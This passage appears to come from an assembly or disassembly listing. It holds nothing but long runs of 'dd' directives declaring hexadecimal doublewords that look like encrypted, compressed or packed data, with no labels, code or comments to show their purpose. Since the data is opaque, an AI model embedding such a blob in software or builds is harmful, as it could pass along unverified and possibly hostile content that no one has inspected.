885CAFC0h, 25A3C52Dh, 29E94C90h, 0B9A8A09Dh, 76EA1FDDh dd 82F6AA64h, 0B3ABC469h, 0F15C5A23h, 633671h, 6166B7B8h dd 5C28BF49h, 31044A46h, 0FD2958C7h, 0FEF2C401h, 727D6800h dd 2DE4455Dh, 0A3E25A95h, 77D5FE1Eh, 0C04273D3h, 80C7B30Eh dd 0C3E6EFCBh, 0A4A24CB8h, 51174A64h, 0C3A95954h, 5126E9A1h dd 0DCD2F69Ah, 56CACA51h dd 9A0B8458h, 4B2FC82Eh, 40DB1272h, 2A5CE121h, 60506E9Fh dd 0C45D8246h, 2F7E9075h, 96E490E1h, 0A3B25F50h, 752C39h dd 72F18149h, 0CE7B5D40h, 8BC6B0B6h, 0C001838h, 9DDF2B5h dd 185259CFh, 6D1F7968h, 71B6FD64h, 92FBBE0h, 13C1746h dd 9C4C24DFh, 0A000F716h, 215A4BA5h, 0BE8EE9F8h, 3F9E27C4h dd 4AAC10BCh, 0A8607425h, 0C2E44408h, 2B176209h, 5626004h dd 7E640B35h, 27D25E13h, 232568E8h, 0C4C5120h, 0B74084E4h dd 0FD88D217h, 0BDFB6605h, 0EEF74Bh, 0A146E56h, 0DFF7303Eh dd 1E3B59B8h, 0D6BCFCC9h, 2F272BCBh, 1C41B960h, 26EFC3C0h dd 0B542F832h, 805AECAh, 2614B65Bh, 0B80A8652h, 0F65AE940h dd 0A90596A1h, 5B5917ACh, 61AD9484h, 38C2E9B1h, 45D04F14h dd 61563CB8h, 0A9C84C6Ch, 0C0EAAD93h, 822460B2h, 54B5C71h dd 20FA9A26h, 0C365C8D6h, 28714C48h, 5B4A07F1h, 0F60CDFC9h dd 3A500F3h, 0BD553862h, 0E70447F1h, 2859E977h, 3F1A8BABh dd 179426D6h, 56F79EBBh, 0D61A3C0Bh, 29457A53h, 0BB20E3A0h dd 0EAC10BD9h, 69A0F702h, 0ACA01F0Eh, 7609AC90h, 8052544Bh dd 953F949Ah, 0EAEBEC1Ch, 0E8AF0459h, 805BDA09h, 9C5C9B93h dd 0C901717Fh, 3F5F7228h, 172AD9E9h, 0E4D9E57Dh, 0B7D3B897h dd 0A813D8E8h, 0B44C2838h, 0F4806B09h, 0B8B8553h, 0E34BEAECh dd 31054B90h, 28EC1362h, 0C65BBC98h, 322BC48h, 284AD7C1h dd 0E9D1F92Ah, 0C22EF13Eh, 3ED8B05Fh, 4F41820Dh, 0A0B82821h dd 5CD5B151h, 800B0CC0h, 2A04EAC9h, 0D236B4BBh, 46E64C12h dd 492F4BECh, 941CC05Ah, 0CB78A7Dh, 192D4571h, 802ED075h dd 1E983BAh, 8741CEEBh, 0ADA2BCD1h, 0B110081Dh, 8264C2A5h dd 0C8EE153Ah, 345FFE82h, 72CF101h, 81F55Dh, 0E7C059EFh dd 0F73E0579h, 33C71274h, 4F0FE8B0h, 0E27074CCh, 18B7D06Dh dd 0EE2DDA8Bh, 6A0B149Fh, 0D640B708h, 72AB59B6h, 0FC4AC0C4h dd 4D50C4C2h, 232BEF14h, 0C05A25ECh, 9D054040h, 15B88690h dd 0B5DD6082h, 30DF3D3Bh, 3B9A4990h, 0FC68165Ah, 0E2E7C6E8h dd 937F8E92h, 40E79AFEh, 6BC595h, 0E2C167EEh, 20F28103h dd 3FE55D16h, 633E05ECh, 14F63CA5h, 1EC48945h, 518B6DB2h dd 0A434204h, 1508D229h, 97E281F6h, 9C69542Ch, 45270154h dd 66E984B3h, 0C9A7B8A7h, 9BB2EB6h, 0E444DCC3h, 33680205h dd 610CDC58h, 0EBE73021h, 0E879FE9Ah, 28897208h, 68D645Fh dd 0D05EB82Dh, 14307C85h, 11EAD6E1h, 88BD515Eh, 34F1A8D9h dd 42DA142Ah, 0EEC6D230h, 0EC5BC81Dh, 0ADB86C57h, 0C451AD4Ah dd 5330435Ah, 9C25E955h, 0D6716AE3h, 12611DF0h, 836D1464h dd 5E15FC40h, 0A27BC7EDh, 94F5B5EBh, 37062006h, 8859BCA0h dd 0FA06CC6Dh, 40606842h, 1E500471h, 8184B551h, 0A0E902EDh dd 935D2E0Ah, 0DB524DD7h, 52692101h, 0EED81AB6h, 41A9FCEFh dd 9EC23A02h, 62C94229h, 50CC5F04h, 24449B1h, 72A6A59h dd 6697265Dh, 16780428h, 0D4F60095h, 4E4C0h, 0EC80CCFEh dd 58E628EEh, 0B450660Bh, 2D3705E0h, 397BF345h, 0BA8734AFh dd 8D27B1CFh, 2FEC80Ch, 0CFF65328h, 8B5B0128h, 0FA08C902h dd 0F53640E9h, 42B7CA14h, 1AA38E97h, 0ADC4EDB3h, 8B638ED9h dd 0E1394BA2h, 2F84C9B4h, 4E53FCCCh, 0EB9C9108h, 8A446E85h dd 46B9860Ch, 46082CC8h, 0F3880EEBh, 2126D84Fh, 0C7018D1Eh dd 7FDE7350h, 8E7F7C01h, 27FE586Ch, 83F89480h, 0ED30F1E7h dd 22747989h, 21627B5Ch, 2047AC7h, 4E48171Bh, 2362FD01h dd 0C5C4044Bh, 0CCB88043h, 0E648C125h, 33EE1C97h, 0E91CE041h dd 44AF99BEh, 551CF358h, 0F9EC5D57h, 0A46F1482h, 0E938226h dd 6513FE29h, 3C51A1C9h, 0B7EA194Bh, 8C2F48A5h, 0BABC529Ah dd 1CF1800Fh, 2CDC1C8h, 59CA8867h, 5FA82AFFh, 3761EA20h dd 0E0B252D3h, 0A128B54Ch, 0FFCE8ADEh, 54257615h, 0B95B1259h dd 0A9A71B33h, 3049AA9Dh, 480F3DBAh, 9E97B10h, 44E852D7h dd 0EF5C2984h, 0BBF54F60h, 0B25D1092h, 0F8218531h, 0B22ACEF5h dd 950E2013h, 6697F614h, 706BED75h, 0EE51E93Dh, 0F7174893h dd 9D871AB0h, 0C4240DB2h, 660A90C6h, 124CE6B9h, 4E11A81h dd 496BF008h, 0E04E4FFCh, 0C34A292Ch, 68096FCAh, 2E196B37h dd 2C117153h, 0A94224DDh, 0C51D4B03h, 0DC4AE17Ch, 0A7BAD251h dd 0F62AE0CCh, 722155A2h, 4503F838h, 11B85AF7h, 2A03FC81h dd 8A4023C3h, 4830C42Dh, 8420AD48h, 3501CC9Ah, 4CAC7C41h dd 447EF668h, 32D5D73h, 993BBFB8h, 0E02E486Bh, 9B1797F8h dd 8E48C75h, 4D7F0EEFh, 40DE5EE2h, 545057F0h, 0E794D7F7h dd 95B90B3Dh, 0BB7F02D4h, 6F7656FBh, 0FFE00344h, 8C4D942h dd 0F34C40F4h, 0E5C180A6h, 0ED81021Ch, 0DAD7F83h, 1CEC0545h dd 83920EBEh, 0A93E32AFh, 0FEB0F296h, 503795Eh, 9909CA80h dd 0E22F1DF2h, 0F5B25E19h, 0B8D3E98Fh, 29294BB1h, 10A2CE3Bh dd 0CC4A86B8h, 0BB7B53CDh, 4D385D02h, 572AE94Bh, 74DFF827h dd 0BBB7A033h, 2A6F7B6h, 0B21ECB10h, 0B2D31223h, 0C7659303h dd 271320B6h, 7846E2DAh, 0F3E7BF2Dh, 967427B7h, 0E6C0819Fh dd 2916C63Dh, 8A8D0D9h, 630BB14Ah, 239C1209h, 89629F8h dd 0CB28BEFDh, 0AF4CC60Fh, 9B05D679h, 0CF0CDDF7h, 2070603h dd 0E09EC581h, 8BDDF1AAh, 8767613Ah, 0C56801CEh, 962C6C2Ah dd 4486CCBCh, 0CD06A984h, 643D62E1h, 5CB4074Eh, 39D106E5h dd 23A1657h, 36E43CB3h, 6457F509h, 0A383B551h, 0D016AC31h dd 2E588B2h, 0D61D78DCh, 0CDABE1DFh, 665C0036h, 43C5AD3h dd 0B7D8C76h, 6812E04Fh, 0B1A15B90h, 0C8096FCAh, 896F02A5h dd 8AEAF4EBh, 40B6E058h, 76A036DEh, 12FB62F5h, 67BD11D5h dd 0F6D669D1h, 15A80092h, 0EFE95D6Ah, 959297ABh, 0C5D07989h dd 813090B7h, 55D8A66h, 32E85209h, 0F156E98Fh, 0EC8A2BDFh dd 0B374F912h, 6F334E26h, 0DB251529h, 542F5228h, 0FD21E56Ch dd 0B851964Fh, 0C6310FFEh, 81F85701h, 9C94F816h, 3D276828h dd 0A5F94744h, 0FB691071h, 0EE6805ECh, 0E93D432Bh, 6725E2BDh dd 0F6C152C3h, 0F60BA032h, 7FF5F7D2h, 1A30B43Bh, 3492F7B6h dd 6F8731EFh, 2AB84D98h, 39B50E87h, 0F68EEE0h, 0C8CB2571h dd 0CEA06345h, 14832089h, 3FF3B7E9h, 9ECFAA07h, 60F01589h dd 36A6E9A2h, 2D286695h, 0D5A0D4DEh, 0F6FDF97Fh, 58C20106h dd 2E225729h, 6F592D7Ch, 0B468D861h, 2556761Dh, 74348948h dd 8C33799Ch, 16067829h, 0FBD2C531h, 6CB04503h, 113CF34Dh dd 57180F5Bh, 0D1495AE1h, 7CF4F4EBh, 0AA5989Dh, 10C62614h dd 7BE90E2Eh, 0A5E95257h, 243C6E36h, 0D2BE5A6Eh, 92284FA6h dd 6CF8898Bh, 7BBA2027h, 0CB814B01h, 1ED64955h, 9F7CBCF0h dd 633CDB24h, 0BC3D4A58h, 0F9C4A462h, 0C780E440h, 7B05088h dd 0FE012C8Ah, 0E830F2C0h, 56F490D7h, 367202BEh, 0DEF732E6h dd 2C1F00DDh, 0A28B2977h, 533556EFh, 0B3D6C2EAh, 57EAB253h dd 21E9CB48h, 0E468FFC5h, 5A92C25Eh, 9BEA5384h, 76E915D4h dd 0B70F0086h, 0D46866C0h, 4EC0B447h, 8ED6215Ah, 0E908EA51h dd 53C0495Fh, 900811B1h, 0FD622506h, 35B9B16Bh, 4C8B23D9h dd 2D660C22h, 0FEB48B9h, 2CBF3528h, 595B5181h, 93697041h dd 0B202141h, 646A1E5Eh, 9D95CA49h, 66FD40B7h, 987CB652h dd 14E8DA2Fh, 0D5B0273Ch, 0A6AC8F67h, 544B2F44h, 0A45A1348h dd 0B5EA65C6h, 256D7606h dd 0C581FC2h, 1E40E912h, 544C2DB2h, 0F12A202Ah, 8F817AEDh dd 5F496DC1h, 31BB055Ah, 305452A2h, 5080C53Dh, 19600568h dd 0C2586ED0h, 0E1511B62h, 2C882B88h, 45EB009Ah, 29BA93F6h dd 195B0BDh, 25109BF5h, 3BC205D4h, 3A52C0C8h, 390AB37Ah dd 50E883CBh, 12D43CF2h, 0CDA55C15h, 162E0B93h, 8457E82Dh dd 0FAEC59CAh, 29273643h, 0E102F9C8h, 0B9D85581h, 0B80CC0FAh dd 63A9383Ah, 37B10D00h, 0FC2D5AC1h, 2CF73A5Bh, 0C9141C84h dd 2C18C72Ah, 0D609F6F9h, 51173268h, 9CDF9A51h, 0CDA97A4Bh dd 4626979h, 4763555Dh, 0B88FEAA2h, 327A6162h, 446E6940h dd 9321CE26h, 6AD7E909h, 30D804EEh, 939F74BCh, 57E352B4h dd 0DF77F28Bh, 0E2A6D7h, 4A1CBE02h, 67E910F6h, 303728A0h dd 6D7D3C55h, 9F47E23Bh, 1900B10Bh, 6375D1C7h, 0F1E9350Ch dd 9C5CDD7h, 783155Dh, 29672080h, 315C4417h, 0A4DB135Dh dd 0CFBB3034h, 38681384h, 0D384F8h, 0AE75F80Fh, 8D012D17h dd 0E916854Ch, 447FF5D1h, 0F9C0BAB9h, 2E20921h, 0FCEBC252h dd 94C0994h, 9D861C77h, 2742CBDBh, 0E1CE5CCDh, 3E4E0768h dd 286BEB99h, 0E5B16895h, 0C6850192h, 6A8F7DFAh, 8E85C602h dd 685101DEh, 306F2514h, 60AB1D2Dh, 98B2F010h, 7DD8B904h dd 5588332h, 2DDE10DCh, 513F9978h, 4065DF20h, 24CB2D6h dd 9B423911h, 0C90C33CAh, 1931C32Ch, 2295DF43h, 0BA027C49h dd 23376163h, 3DB3D501h, 5A45F1C2h, 58E95683h, 123D77ACh dd 0EE13687Dh, 1FA31C04h, 523961DCh, 0FB9EB5E5h, 0DBD9B2ADh dd 7E1ED548h, 3115F182h, 566154D8h, 0CFA8EDB6h, 90B64777h dd 4764DC79h, 0E1681759h, 0F7556105h, 4E243E77h, 54495DC7h dd 0F0CC6427h, 0BD06558Bh, 4E8B6F2Fh, 17BF0984h, 5C8546EFh dd 0D72BBC9Ch, 0E3829134h, 4A6801EBh, 0BF3D482Dh, 0AAE40E5Ah dd 0BDD987Fh, 7D0D840Fh, 45D79D90h, 1393A09h, 421679C6h dd 0E910BE56h, 16CA9E33h, 0C69F05ACh, 8A008264h, 76B6EE20h dd 91D042Ah, 0EE4A5EF2h, 0B2800F94h, 1629570Fh, 0E9A2E9D6h dd 226047Ch, 0A9B02CCEh, 6F279EE5h, 0B277973Ch, 5FF885C8h dd 92183EBDh, 7A2F9ABh, 540A22B3h, 0CE9CE50Ah, 0ACAE400Dh dd 5607D7E9h, 0BE055D2Eh, 55B66916h, 0CBDBB304h, 566ECCABh dd 61C82213h, 0AAC7AD00h, 90C91054h, 4520B543h, 887EB450h dd 66B0E676h, 287F1349h, 2E94885Eh, 0F42680ACh, 118A608h dd 8854ED80h, 0A9373AE8h, 1E519B13h, 41FE6152h, 886DEC80h dd 0D5A8BE1h, 8E92A92Ch, 14D86CCCh, 45C99EF4h, 0C07A9184h dd 505B0076h, 7DBA0752h, 0D21D731Eh, 0D0711FC9h, 755BC8ADh dd 165F2D8Ch, 0FB61B60Eh, 2FD1EBE9h, 60999837h, 1764B8DDh dd 0FC375109h, 982D0058h, 1C8AEF6h, 0DDE927C7h, 2AEC36E2h dd 8A0A9FA0h, 5A766880h, 0B07B31Ch, 7E45DDFh, 3881E552h dd 0CDD83062h, 0CE07053Dh, 970FE96Dh, 1F86C9C4h, 0DD40632h dd 181A1745h, 0A8F1E431h, 0ACE1E34Dh, 6158026Ch, 0FB326D84h dd 99B8B034h, 354D680Bh, 0CC6C6956h, 5F44BF04h, 20096816h dd 8D31AE65h, 5F01CB9Eh, 0CDD27E45h, 0B70550A8h, 97BF3045h dd 0B902B0Eh, 645D9A14h, 0B5A316DAh, 7B2FC4CFh, 7DA10258h dd 0C5763014h, 765F25CEh, 25054AEBh, 55509430h, 7165682Eh dd 0BFF92217h, 69C9ED80h, 2F986C73h, 0E4946F0Eh, 85E82989h dd 0EFA398B9h, 0BEB05E12h, 405CDA72h, 807590D5h, 2788F64h dd 81118860h, 2D2104F1h, 3750418Eh, 8FE27712h, 1CBF9808h dd 0FFEB1258h, 858DA549h, 0AE1268CDh, 50605A63h, 0ECCE5E51h dd 1C09014h, 0A66A1FCAh, 0C7F2E97Ah, 68562302h, 604C32A8h dd 95FE4119h, 67289C30h, 278846BDh, 0A71E29B6h, 4DB8719Fh dd 0D4E2007h, 0D3F5D6A8h, 39D8B19h, 0D03EB616h, 22FE365h dd 0CF817607h, 4517444Dh, 4BAAEF60h, 29731306h, 0D54B09FEh dd 441896FFh, 7441E314h, 6E1CE02Fh, 4C28A640h, 30252FC6h dd 96B55472h, 0B5B4F83h, 0C302F69Eh, 0CEFAC57Eh, 774FCF7Fh dd 0D501EF81h, 0F81345BDh, 0F9A29Dh, 0EF8027B7h, 48D7F62Bh dd 1D10E6FEh, 4E07A6EAh, 0A500F858h, 0D1A04E9h, 627F6DCBh dd 44A9DDF9h, 0C436810Fh, 2D4B81D2h, 0CA31CC1Bh, 44494AB8h dd 1FF35B7Dh, 4C9621D3h, 0CFF9050Fh, 5F6B4950h, 4F5347CAh dd 0B30A1769h, 2B760B91h, 5F927690h, 0BB6CA902h, 40E8C10Ah dd 80848B5Fh, 0FC0F6857h, 65294150h, 37AB0E01h, 0C4414B7Dh dd 0D0167E02h, 59FD3F23h, 8A4225EDh, 73F9E9C2h, 74E9CC5Eh dd 0FA87012Ah, 2A6AE94Fh, 164DA0B4h, 802F3876h, 26F81A40h dd 7489EB25h, 45E53D93h, 97DE1151h, 1C4F090Ah, 69C51AA0h dd 4411BD83h, 897F3092h, 28097712h, 0CA801C7Eh, 0EE547C6h dd 0AFB02AE9h, 55C23AC7h, 0BB532B80h, 2F976AD2h, 2AE38103h dd 771D135Ch, 675E0490h, 0A0D0E949h, 40EF58C5h, 0FAB345F1h dd 83A952C6h, 0F810AE1Ah, 5A9FC276h, 3F69DDF7h, 0F97ED93Fh dd 0AC977438h, 74BA48ECh, 82137997h, 7B6D59E6h, 0B350077h dd 0B84E7338h, 5B82926Eh, 2EE7E52Dh, 0CC0D5705h, 0B9558093h dd 27387B99h, 0D85EAD81h, 4A0C8139h, 157C370h, 591655CEh dd 0EA5E0F09h, 0EAD8787Dh, 0A5202AC3h, 38E801A2h, 0F5E94271h dd 25F0374h, 7B342E24h, 407D3117h, 0B1C39AA7h, 1C60C02h dd 849736A4h, 0C8B8FC2Dh, 0C52FB34Ah, 0CBA08FE9h, 0BEE07FC1h dd 2B05404Eh, 707A5E22h, 99259FF8h, 8F6F4D5h, 0D19D8EDFh dd 0F8A46CCh, 0F65B2FF9h, 0FE262C40h, 0C004C961h, 0F1E802E1h dd 2FC8E0B1h, 92497FE9h, 0C7E33A44h, 12754A7Dh, 8B4D042Dh dd 0B2BB0078h, 480FE006h, 51051143h, 0A0F01FF9h, 8840BF69h dd 128C09B9h, 1D5A1606h, 2A8EC4Dh, 400294BDh, 5615403h dd 0D86DD568h, 0F317970Dh, 0C002C9FFh, 87F61ED4h, 548EEFA2h dd 545D2508h, 130626C5h, 0BB26CC2Fh, 0C23B6B95h, 0ADFF1DEh dd 9D8CBD2Eh, 0E070D2C1h, 214E5C91h, 721EE544h, 5E783500h dd 73F46A82h, 3DCB2E4Bh, 0BB4DBF75h, 952FFB2Fh, 2119B03Eh dd 715A91D0h, 7674FE35h, 0AE3BBE24h, 0EBADA21Bh, 2C2B7CDAh dd 0E270DCA7h, 0CD7F1A6Bh, 835A8DA9h, 0D8032E4Bh, 38D0465Dh dd 42CFD84Ch, 0BD1D4720h, 6D9AED41h, 206E4887h, 44D29FCAh dd 0EB04B173h, 31FB6869h, 0B41FB1E3h, 0AAE48C61h, 3BB05506h dd 0EC4CC0F2h, 0F5A334B1h, 278D49FBh, 49264DD8h, 813C2041h dd 0D4232BB4h, 3829CB01h, 258A8710h, 581FD459h, 1C02B8F6h dd 0A6E97B46h, 534749B4h, 0F44C90C4h, 6D8B4D83h, 8450E300h dd 6C12BF68h, 6136C22Dh, 0A648C357h, 81285C5Bh, 0FDC9A713h dd 1010C968h, 81711509h, 0B1813B2Ch, 4FED37B7h, 5D43975h dd 9FA0B971h, 0A15C9656h, 60CD5155h, 4F313AD5h, 8304DAE4h dd 474C6BE7h, 9F62755h, 4F14F0D7h, 55320B02h, 207F6E01h dd 373E8B84h, 0BAA9CB76h, 0FEB1ABDEh, 4F96F26Dh, 0E9585409h dd 0B82220D3h, 8448C0h, 35D8F72Bh, 8D2CF59Ch, 58C12113h dd 0DE942CBFh, 0A132E6Bh, 6627A5EBh, 62485CF9h, 0B225CD20h dd 1FE1E072h, 49CF9481h, 0A969595Ch, 5930E274h, 92AC48C1h dd 4E72C185h, 59830570h, 0E9058588h, 0C9F8F4B1h, 0A006318Dh dd 2526AC0Dh, 1AA7C57Eh, 4584129Dh, 0B8A0BFh, 52984DDEh dd 0E901C183h, 0A59784ECh, 18B85003h, 0FCA48B13h, 4B16A57Ch dd 8B4A17BCh, 0B2374C8Ch dd 648579B2h, 4882AAB4h, 50A940BAh, 58E21C08h, 5205DFC0h dd 0D226E87Bh, 9F9B03BFh, 21F2EB19h, 6F4140C2h, 896F6D07h dd 0B093D897h, 0BDCC20C7h, 97AE5A9Fh, 50962114h, 0B4B6568h dd 6B6CFE33h, 0B676E6EAh, 92F20D09h, 0B7F90F73h, 0DFCC0EE8h dd 68B1B983h, 46C82109h, 68E91A2Fh, 6C7524D0h, 71BA2066h dd 0CD342390h, 61820DC9h, 0A3425720h, 77A8925Fh, 0C5A7E5CFh dd 10A609F4h, 55805DFBh, 443081BDh, 0E5C11276h, 5037EC05h dd 613C5C5Ch, 0CB818069h, 5FF27352h, 90025EE9h, 0F93CB874h dd 31BB9713h, 0C0800104h, 965816A2h, 1309920h, 7F4A8EF0h dd 5A2A901Bh, 0AB261218h, 26E95678h, 49E2C23Fh, 824B36C9h dd 2818260Eh, 0BDF30029h, 0D226A123h, 0F188C121h, 8512C82h dd 542D95AFh, 1E3E8A7Dh, 0DCFC4BEBh, 6BA089A2h, 0F588FDC4h dd 675912D2h, 53950166h, 7B794A1Fh, 542DF980h, 7042C120h dd 406E4F27h, 983AE787h, 3867515Ch, 0CD38505h, 1EBE38CCh dd 0D5F7423Ch, 7CE16EADh, 0C1A249E1h, 2142F90Ah, 82517D2Dh dd 9AD5F9E9h, 20BC5AA9h, 0BE049F0Bh, 68E6464Dh, 5EF120EAh dd 1A5A3AE9h, 4149E6F2h, 7568BE98h, 623F692Eh, 809C234h dd 44DDC85Bh, 0C0C5BDC3h, 5C84AF09h, 457E69D4h, 0D2315CE0h dd 74692E68h, 2A656B51h, 5CA30925h, 0EFC45BC8h, 69126F8Fh dd 4EEA21AFh, 0ED9F8080h, 2C703EECh, 0A9CD4C01h, 0EB440841h dd 68B058E8h, 0F19B121Dh, 2413A708h, 3EE0D26h, 0B2C03A06h dd 7C4B0734h, 8EA003Ah, 5D46E281h, 0E4ED61CFh, 0F33E490Ah dd 9ECA0276h, 0E12DA46Ch, 8263C6A1h, 0CE355A26h, 39E93382h dd 0F7667D48h, 4768F909h, 507CDE64h, 7E5B72E9h, 4D06A925h dd 582B0891h, 162FBEE1h, 8101C824h, 0C1077589h, 0D882031h dd 1C38561Fh, 0CD09D856h, 0E4F95E7Dh, 4B71089h, 20E2BE9h dd 0E1DA8CEFh, 364E010Bh, 0FC23F01Eh, 91B162A5h, 39F658C3h dd 0F080E812h, 5C4D3605h, 56109D4Bh, 0C6E9C504h, 5C6C3E18h dd 13DC2549h, 5400D450h, 0D6F7258Ch, 4C28E94Eh, 3BC178CDh dd 2C36A91Bh, 2047076Bh, 0C3D00A5Fh, 1A0E6C0Bh, 1CFB014Eh dd 31C080Dh, 0FDDD8B14h, 46EA93D1h, 66B75054h, 3025B2A6h dd 42A6DC2Bh, 1B0AAD4Ah, 1F0FB92Ch, 0F8B965F7h, 0A9E16F8h dd 213FB7Ah, 0F68B3F4Eh, 9A28A054h, 0FD0948E2h, 8FA012Ah dd 54260816h, 0B7814E7h, 325D6855h, 9D7884A9h, 3070B402h dd 224A90D8h, 40CC751Fh, 0BD560A6Ch, 3DC92F0Fh, 0D92DB4D4h dd 27FE6E87h, 4F311148h, 38EB2792h, 7AF84E44h, 607A8B1h dd 323F0FCCh, 0BD652883h, 8444F27Eh, 0C74B6BFAh, 6C9A8470h dd 58253E9Bh, 0C4D87E73h, 16CEB335h, 0D81A70A7h, 1868331Bh dd 0A83E6463h, 0B3D79A6Dh, 0B90ED832h, 63804998h, 63362C44h dd 74F60B0h, 941FAAE2h, 0ACD41233h, 60450160h, 0A55FE957h dd 13ADB22Fh, 55892ABDh, 0D428CAFBh, 0A4D2644Eh, 0F1D38293h dd 0D1530A17h, 0D22F5FABh, 928AB016h, 5D5B5ABAh, 920D2F36h dd 0B0534F86h, 0BC405203h, 80A81CB6h, 0DE86C3EEh, 801CBFEh dd 0E9C2B450h, 936F2C54h, 0D3837AE3h, 0B1AEC3ABh, 0E74A7398h dd 0E1BAA6C0h, 3FA72435h, 3A5F003Dh, 96E949B6h, 53BE0BB5h dd 68560E52h, 7B0B1E2Fh, 1EBD6B84h, 7171678Bh, 551282C7h dd 0DC7830FBh, 4D64F61Eh, 45FC0C70h, 7B8CB0B7h, 4EA6F8C1h dd 0BA8F0439h, 0DAF70492h, 81C65FCh, 0C703975Eh, 9B84209Bh dd 58974F23h, 0AA919D8Fh, 8901E24Bh, 36359CEh, 0AC5A3D24h dd 47675A7Dh, 0C5E90930h, 6787BC08h, 0F88DA456h, 13E24E12h dd 1011F6B5h, 0FC6BA87Eh, 98BD24F4h, 0BE9BCC4Fh, 276A7CADh dd 0F7434633h, 312F0F48h, 7F767C5Eh, 0F5162D3Bh, 7AEC25D1h dd 0B861DF75h, 0EF056A42h, 505F4D30h, 0F8744B1Dh, 6F074194h dd 57E91004h, 280415ACh, 81332CF8h, 2C8B43Bh, 30A9FD5Ah dd 0B76934FFh, 2C12D247h, 2BC437D4h, 0E9A170BCh, 31658965h dd 7A3574D8h, 0E963BEFEh, 0BEDD02CBh, 63195215h, 100A1DDh dd 0CA6617h, 0F3759C9h, 643418C3h, 0AD3C10C6h, 0B3DE50C0h dd 0F397879Ah, 665C8AD8h, 0EC94084Fh, 4C7290Bh, 88051102h dd 5A56D8E7h, 0CC9DFDF2h, 25E849EBh, 5043A64Eh, 6812B7CDh dd 70CC4FAAh, 0ECC003A3h, 6C48007h, 5D063Bh, 5366E2CCh dd 4E305FB7h, 0E3D20BFCh, 0E741D2D0h, 996E30h, 2D4FA8EAh dd 428A1695h, 261D0578h, 5C422C8Fh, 0DF1C5870h, 3A072688h dd 522011D1h, 9B22032Bh, 2AF18163h, 0E942C1F8h, 0CCFC0B2Dh dd 295E12A9h, 7069FCDEh, 14302A41h, 59AD40CEh, 0C09227F8h dd 281EB50Fh, 0F48EEBF5h, 0E3E524D9h, 0BCF15157h, 0BDB66EA9h dd 0E017609Eh, 0C4C246E9h, 0B1307DACh, 0BD801C13h, 100D12C3h dd 4835001Bh, 0E909A1FFh, 736C342Fh, 0E86027AEh, 61494368h dd 0A0392F53h, 69C3F16Ch, 0BD31FC24h, 0EF361C03h, 0D62DA112h dd 1D728BD9h, 2E9899Dh, 4D80399h, 0D7169EEDh, 1E26EDBBh dd 722E3E5Dh, 65AE303h, 0E6028D4Fh, 807207C6h, 608BC384h dd 0F735181Eh, 793E10DBh, 919D5324h, 7459E701h, 7E252956h dd 0DD10805h, 4B7B012Bh, 0CBAB9E29h, 3A4C6D71h, 7C7316AFh dd 0E750BF0Bh, 4F804808h, 9284C034h, 3D4EFCACh, 0A045FE4Bh dd 99567C12h, 22C4A2A2h, 0A1E0ECA6h, 520775A8h, 0AEC667E0h dd 4B23665Bh, 291B26D3h, 0F65B885Eh, 9C25D827h, 0F6D3CFF7h dd 7EB31205h, 0B86075EFh, 0EA5F24FCh, 0D30055C5h, 50A27F52h dd 0B5660BDh, 15BDD29h, 918DE84Ah, 6233C96Eh, 0D6E9C2AEh dd 0E929FE92h, 0CB228FDFh, 0B71FD04Dh, 68123078h, 8D8C1482h dd 1EDC55Dh, 0D570925Ch, 1D98E8F8h, 7716CE04h, 82C71252h dd 0A771D625h, 2901CA6Eh, 0FC806ACBh, 4F5A3CA6h, 0EE52F001h dd 0DE908F4Ah, 5A873015h, 9264C00Eh, 7F76A342h, 0DA85C700h dd 0EBE96493h, 41089472h, 2F5EF021h, 9A2E4344h, 0C613AA16h dd 0E5446191h, 0EAD55D02h, 93397178h, 4704FF89h, 800718F7h dd 0F6046FEFh, 42DAFF1Bh, 2BC48D4Eh, 1C870504h, 6094CFFAh dd 0C226462Eh, 90D09D1Eh, 0B39CE92Ah, 2A96F280h, 926F8D3Dh dd 9EFCD4D2h, 10669FC6h, 2E1C11Eh, 0BA974318h, 2E331D55h dd 0D55E3063h, 4B179D23h, 0D3EDFD89h, 3595B312h, 23B0D5FEh dd 5B257261h, 2DD77C88h, 5CA5E1D4h, 805A03B9h, 0E8829BF5h dd 0B94C4260h, 2BA4BBA6h, 74EF8520h, 0B5A3EE29h, 0FDC34A23h dd 931945FFh, 0C690E856h, 0F61F5958h, 789553D6h, 3FB24ECAh dd 0B034C094h, 4A04FF49h, 56E27A79h, 0A1D95F27h, 0F61A0749h dd 0E9679BE1h, 0BC39FAC9h, 277F8708h, 841F510h, 264D8B6Eh dd 69639CB9h, 0E74503B6h, 6D821588h, 4878F7B0h, 0E92D2A05h dd 1C000863h, 534E4BCAh, 72CE4829h, 0BBDEE07h, 0B60C1C6Bh dd 3F93351Bh, 8AA411Eh, 16140CA0h, 0E80E41E9h, 1CC5C0B2h dd 9F7D094Ah, 0A70AC45Ah, 829725Ch, 9D401E03h, 0F6CCA64h dd 3C0C299Dh, 5D1C0245h, 0D2D07054h, 0E99A96EAh, 576B6C04h dd 0AA6C7488h, 9A9CC193h, 0C2FE1DA7h, 2FB84747h, 5B25DDA0h dd 0D1B576C4h, 1E262C15h, 0B10516A2h, 0D621737Ch, 0CD781DB1h dd 0CDE8A2C4h, 68D241C7h, 2ECC3AC4h, 584C850h, 1FFCBE8Dh dd 0E520E802h, 0EA688500h, 0F82CBE1Bh, 0B51D7AE9h, 82A71FEBh dd 397C692Dh, 3ABF6172h, 0CF21446Fh, 0C1C4EE59h, 0EF7E94BFh dd 0B1E97D71h, 0B2072C38h dd 95E23056h, 4F22A858h, 92EC298Dh, 52E69FDDh, 613AD99h dd 0DFE6B7B1h, 83880FE7h, 93481D64h, 4FCFF85Fh, 9A6F29F1h dd 0AAE90977h, 15C0E893h, 0B440322h, 0D2215D2Dh, 0F7E8D1A0h dd 260DD81Ch, 2502EA00h, 7F7E6287h, 2327092Bh, 1B5EA772h dd 4CA1B08Ch, 53F0ABDh, 2DE16E67h, 0E5886903h, 0A696EE92h dd 0A96D3AC5h, 13ABF288h, 0FBF96B09h, 855F510Bh, 9F429626h dd 40D831ADh, 4E35E6C0h, 1119B084h, 57C40F04h, 16EAE9D1h dd 0F498FC01h, 147E2DEFh, 5957E085h, 31F950C1h, 412152EAh dd 68D9A46Bh, 92388025h, 0B96C7D41h, 90E9BBA8h, 7A7AABDh dd 5A7FFE25h, 0F90EA057h, 80770B68h, 0BA625AE9h, 0D75E5FE0h dd 3B685198h, 0C94A1D58h, 0E02E7051h, 0E82980B5h, 0B05AF1B8h dd 0CC51C48h, 51129098h, 9188CDB3h, 3BCE24C6h, 0C8C886BCh dd 0F816A1A4h, 0A1B1FD13h, 90BF627h, 0FF54B28Ah, 0C410FDA4h dd 